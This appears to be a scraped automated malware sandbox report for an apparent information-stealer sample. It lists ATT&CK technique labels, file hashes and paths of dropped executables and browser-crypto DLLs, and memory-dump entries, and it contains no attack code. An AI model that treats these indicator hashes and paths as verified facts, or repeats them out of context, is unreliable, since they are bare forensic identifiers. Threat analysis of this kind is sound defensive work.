Data from Local System

T1005

Exfiltration

Command and Control

Web Service

T1102

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\MicrosoftNetwork\System.exe
MD5
844b7e033c078ed67b52558b5d891741

SHA1
cff2a6b3b726455b9ed898aa766f2363189642bc

SHA256
eff8a484eafd5ebdf57845e6a656793520bdddf5469ea4a95eaa578e8bca6c50

SHA512
537487e3d6b6be107530e36547f3b66d61cce29d127ac1ce9ad34d2eb1e60ddb4d368a6c8e1366ef307982ffba507aff87ca2a9590e9fb58ad74b7c628a6dfca

Download Submit
C:\ProgramData\Systemd\Microsoft_Edge.exe
MD5
dd65d21cce0fb19114b0a0aadedf8e00

SHA1
2f147e1d503561b4fdaa2e0adc2191ab73184b3c

SHA256
34db189b47a0568cefceaf3e00968482896969132d2f77ebe42e4a9e91db2cdc

SHA512
df98ebb4c0ca4bae827ade7026d39e29b144e0de91e83c77476739bd43d3e2709f34cf618efe6ea22a89d3ae59e7b29f5202df15a3eddb0d5ffee18b6e217444

Download Submit
C:\ProgramData\Systemd\Microsoft_Edge.exe
MD5
dd65d21cce0fb19114b0a0aadedf8e00

SHA1
2f147e1d503561b4fdaa2e0adc2191ab73184b3c

SHA256
34db189b47a0568cefceaf3e00968482896969132d2f77ebe42e4a9e91db2cdc

SHA512
df98ebb4c0ca4bae827ade7026d39e29b144e0de91e83c77476739bd43d3e2709f34cf618efe6ea22a89d3ae59e7b29f5202df15a3eddb0d5ffee18b6e217444

Download Submit
C:\ProgramData\UpSys.exe
MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
C:\ProgramData\UpSys.exe
MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
C:\ProgramData\UpSys.exe
MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
C:\ProgramData\UpSys.exe
MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
C:\Users\Admin\AppData\Local\Temp\B7B2.exe
MD5
a8f923639f9b10392a12e409a4b65d80

SHA1
5dc1b8d6751f37ac2cfa526e35de2bedac479332

SHA256
ec9c47685aaf2711429538df1efddeace58992d79f685387778f0a99af4cdbe5

SHA512
57a34ad6388e675c69dcce9a5a8761d9d7ec80be3229545b82dfd8bf16f0702ccdf6a51b8316d569f10f8a6e2e9b9e78ee07227b73d356984a10061b63921214

Download Submit
C:\Users\Admin\AppData\Local\Temp\BEA8.exe
MD5
72ebda1e2c91ad8b5b1bfb289ffa77e0

SHA1
5410014afec276692910ded77d532775de92e699

SHA256
598abf20dbea3d5ea767057ca90aba6ddfd051d1074684b9099b47037af5bb1b

SHA512
75c97d3c35c90627dfd52dfdfe2539bdfe297cc0ca04a117aa5df294af8857e4fddf0cae527d2a4bdf12cd4a6666dc3e64f268f1e68f8276dd39950f77357c63

Download Submit
C:\Users\Admin\AppData\Local\Temp\C2C0.exe
MD5
d97c34cf8df6b94a767a4de88f38af86

SHA1
90af7b45728e4be0f403f097e1687fcc3c1053b9

SHA256
a79d76b9e2dc0e30bf14ba869fa8627080f88d3bdfd96c7e6631b707169ea359

SHA512
ef1558c23ec769c3212d48da8afc8121f484b26809e21864512d7f9e5cbf2502254d426d6155a9c6534351f66f73c95b64ff8154cc39512bc5d538fed7b636c3

Download Submit
C:\Users\Admin\AppData\Local\Temp\C2C0.exe
MD5
d97c34cf8df6b94a767a4de88f38af86

SHA1
90af7b45728e4be0f403f097e1687fcc3c1053b9

SHA256
a79d76b9e2dc0e30bf14ba869fa8627080f88d3bdfd96c7e6631b707169ea359

SHA512
ef1558c23ec769c3212d48da8afc8121f484b26809e21864512d7f9e5cbf2502254d426d6155a9c6534351f66f73c95b64ff8154cc39512bc5d538fed7b636c3

Download Submit
C:\Users\Admin\AppData\Local\Temp\Zenar.exe
MD5
844b7e033c078ed67b52558b5d891741

SHA1
cff2a6b3b726455b9ed898aa766f2363189642bc

SHA256
eff8a484eafd5ebdf57845e6a656793520bdddf5469ea4a95eaa578e8bca6c50

SHA512
537487e3d6b6be107530e36547f3b66d61cce29d127ac1ce9ad34d2eb1e60ddb4d368a6c8e1366ef307982ffba507aff87ca2a9590e9fb58ad74b7c628a6dfca

Download Submit
C:\Users\Admin\AppData\Local\Temp\Zenar.exe
MD5
844b7e033c078ed67b52558b5d891741

SHA1
cff2a6b3b726455b9ed898aa766f2363189642bc

SHA256
eff8a484eafd5ebdf57845e6a656793520bdddf5469ea4a95eaa578e8bca6c50

SHA512
537487e3d6b6be107530e36547f3b66d61cce29d127ac1ce9ad34d2eb1e60ddb4d368a6c8e1366ef307982ffba507aff87ca2a9590e9fb58ad74b7c628a6dfca

Download Submit
\Users\Admin\AppData\LocalLow\sqlite3.dll
MD5
f964811b68f9f1487c2b41e1aef576ce

SHA1
b423959793f14b1416bc3b7051bed58a1034025f

SHA256
83bc57dcf282264f2b00c21ce0339eac20fcb7401f7c5472c0cd0c014844e5f7

SHA512
565b1a7291c6fcb63205907fcd9e72fc2e11ca945afc4468c378edba882e2f314c2ac21a7263880ff7d4b84c2a1678024c1ac9971ac1c1de2bfa4248ec0f98c4

Download Submit
\Users\Admin\AppData\LocalLow\uS0wV5wY9qH3\freebl3.dll
MD5
60acd24430204ad2dc7f148b8cfe9bdc

SHA1
989f377b9117d7cb21cbe92a4117f88f9c7693d9

SHA256
9876c53134dbbec4dcca67581f53638eba3fea3a15491aa3cf2526b71032da97

SHA512
626c36e9567f57fa8ec9c36d96cbadede9c6f6734a7305ecfb9f798952bbacdfa33a1b6c4999ba5b78897dc2ec6f91870f7ec25b2ceacbaee4be942fe881db01

Download Submit
\Users\Admin\AppData\LocalLow\uS0wV5wY9qH3\mozglue.dll
MD5
eae9273f8cdcf9321c6c37c244773139

SHA1
8378e2a2f3635574c106eea8419b5eb00b8489b0

SHA256
a0c6630d4012ae0311ff40f4f06911bcf1a23f7a4762ce219b8dffa012d188cc

SHA512
06e43e484a89cea9ba9b9519828d38e7c64b040f44cdaeb321cbda574e7551b11fea139ce3538f387a0a39a3d8c4cba7f4cf03e4a3c98db85f8121c2212a9097

Download Submit
\Users\Admin\AppData\LocalLow\uS0wV5wY9qH3\nss3.dll
MD5
02cc7b8ee30056d5912de54f1bdfc219

SHA1
a6923da95705fb81e368ae48f93d28522ef552fb

SHA256
1989526553fd1e1e49b0fea8036822ca062d3d39c4cab4a37846173d0f1753d5

SHA512
0d5dfcf4fb19b27246fa799e339d67cd1b494427783f379267fb2d10d615ffb734711bab2c515062c078f990a44a36f2d15859b1dacd4143dcc35b5c0cee0ef5

Download Submit
\Users\Admin\AppData\LocalLow\uS0wV5wY9qH3\softokn3.dll
MD5
4e8df049f3459fa94ab6ad387f3561ac

SHA1
06ed392bc29ad9d5fc05ee254c2625fd65925114

SHA256
25a4dae37120426ab060ebb39b7030b3e7c1093cc34b0877f223b6843b651871

SHA512
3dd4a86f83465989b2b30c240a7307edd1b92d5c1d5c57d47eff287dc9daa7bace157017908d82e00be90f08ff5badb68019ffc9d881440229dcea5038f61cd6

Download Submit
memory/508-115-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/508-116-0x0000000000402FA5-mapping.dmp

Download
memory/628-166-0x0000000000000000-mapping.dmp

Download
memory/740-145-0x00000000006A0000-0x0000000000730000-memory.dmp

Filesize
576KB

Download
memory/740-146-0x0000000000400000-0x00000000004F2000-memory.dmp

Filesize
968KB

Download
memory/740-135-0x0000000000000000-mapping.dmp

Download
memory/1524-223-0x0000000000000000-mapping.dmp

Download
memory/2856-273-0x00000172AA350000-0x00000172AA351000-memory.dmp

Filesize
4KB

Download
memory/2856-248-0x0000000000000000-mapping.dmp

Download
memory/2856-261-0x00000172A9FB0000-0x00000172A9FB2000-memory.dmp

Filesize
8KB

Download
memory/2856-262-0x00000172A9FB3000-0x00000172A9FB5000-memory.dmp

Filesize
8KB

Download
memory/3004-201-0x0000019C29576000-0x0000019C29578000-memory.dmp

Filesize
8KB

Download
memory/3004-173-0x0000000000000000-mapping.dmp

Download
memory/3004-214-0x0000019C29578000-0x0000019C29579000-memory.dmp

Filesize
4KB

Download
memory/3004-183-0x0000019C29573000-0x0000019C29575000-memory.dmp

Filesize
8KB

Download
memory/3004-182-0x0000019C29570000-0x0000019C29572000-memory.dmp

Filesize
8KB

Download
memory/3004-181-0x0000019C29800000-0x0000019C29801000-memory.dmp

Filesize
4KB

Download
memory/3004-178-0x0000019C294D0000-0x0000019C294D1000-memory.dmp

Filesize
4KB

Download
memory/3016-117-0x0000000000FB0000-0x0000000000FC6000-memory.dmp

Filesize
88KB

Download
memory/3024-167-0x0000000000000000-mapping.dmp

Download
memory/3648-220-0x00000000001B0000-0x00000000001D0000-memory.dmp

Filesize
128KB

Download
memory/3648-292-0x00000000001D0000-0x00000000001F0000-memory.dmp

Filesize
128KB

Download
memory/3648-210-0x0000000000400000-0x00000000011F4000-memory.dmp

Filesize
14.0MB

Download
memory/3648-211-0x0000000000180000-0x00000000001A0000-memory.dmp

Filesize
128KB

Download
memory/3648-207-0x0000000000000000-mapping.dmp

Download
memory/3676-170-0x0000000000000000-mapping.dmp

Download
memory/3908-129-0x00000000000B0000-0x00000000000B1000-memory.dmp

Filesize
4KB

Download
memory/3908-162-0x0000000006E60000-0x0000000006E61000-memory.dmp

Filesize
4KB

Download
memory/3908-165-0x00000000071B0000-0x00000000071B1000-memory.dmp

Filesize
4KB

Download
memory/3908-138-0x00000000772E0000-0x000000007746E000-memory.dmp

Filesize
1.6MB

Download
memory/3908-133-0x0000000005510000-0x0000000005511000-memory.dmp

Filesize
4KB

Download
memory/3908-157-0x0000000007820000-0x0000000007821000-memory.dmp

Filesize
4KB

Download
memory/3908-139-0x0000000005500000-0x0000000005501000-memory.dmp

Filesize
4KB

Download
memory/3908-122-0x0000000000000000-mapping.dmp

Download
memory/3956-158-0x0000000006EA0000-0x0000000006EA1000-memory.dmp

Filesize
4KB

Download
memory/3956-168-0x0000000007B30000-0x0000000007B31000-memory.dmp

Filesize
4KB

Download
memory/3956-143-0x00000000054F0000-0x00000000054F1000-memory.dmp

Filesize
4KB

Download
memory/3956-156-0x0000000006B70000-0x0000000006B71000-memory.dmp

Filesize
4KB

Download
memory/3956-152-0x0000000006C30000-0x0000000006C31000-memory.dmp

Filesize
4KB

Download
memory/3956-153-0x0000000007330000-0x0000000007331000-memory.dmp

Filesize
4KB

Download
memory/3956-128-0x0000000005450000-0x0000000005451000-memory.dmp

Filesize
4KB

Download
memory/3956-140-0x0000000005580000-0x0000000005581000-memory.dmp

Filesize
4KB

Download
memory/3956-126-0x0000000005BA0000-0x0000000005BA1000-memory.dmp

Filesize
4KB

Download
memory/3956-124-0x0000000000ED0000-0x0000000000ED1000-memory.dmp

Filesize
4KB

Download
memory/3956-141-0x00000000054B0000-0x00000000054B1000-memory.dmp

Filesize
4KB

Download
memory/3956-121-0x00000000772E0000-0x000000007746E000-memory.dmp

Filesize
1.6MB

Download
memory/3956-118-0x0000000000000000-mapping.dmp

Download
memory/4040-216-0x0000000000000000-mapping.dmp

Download
memory/4060-114-0x00000000001E0000-0x00000000001E9000-memory.dmp

Filesize
36KB

Download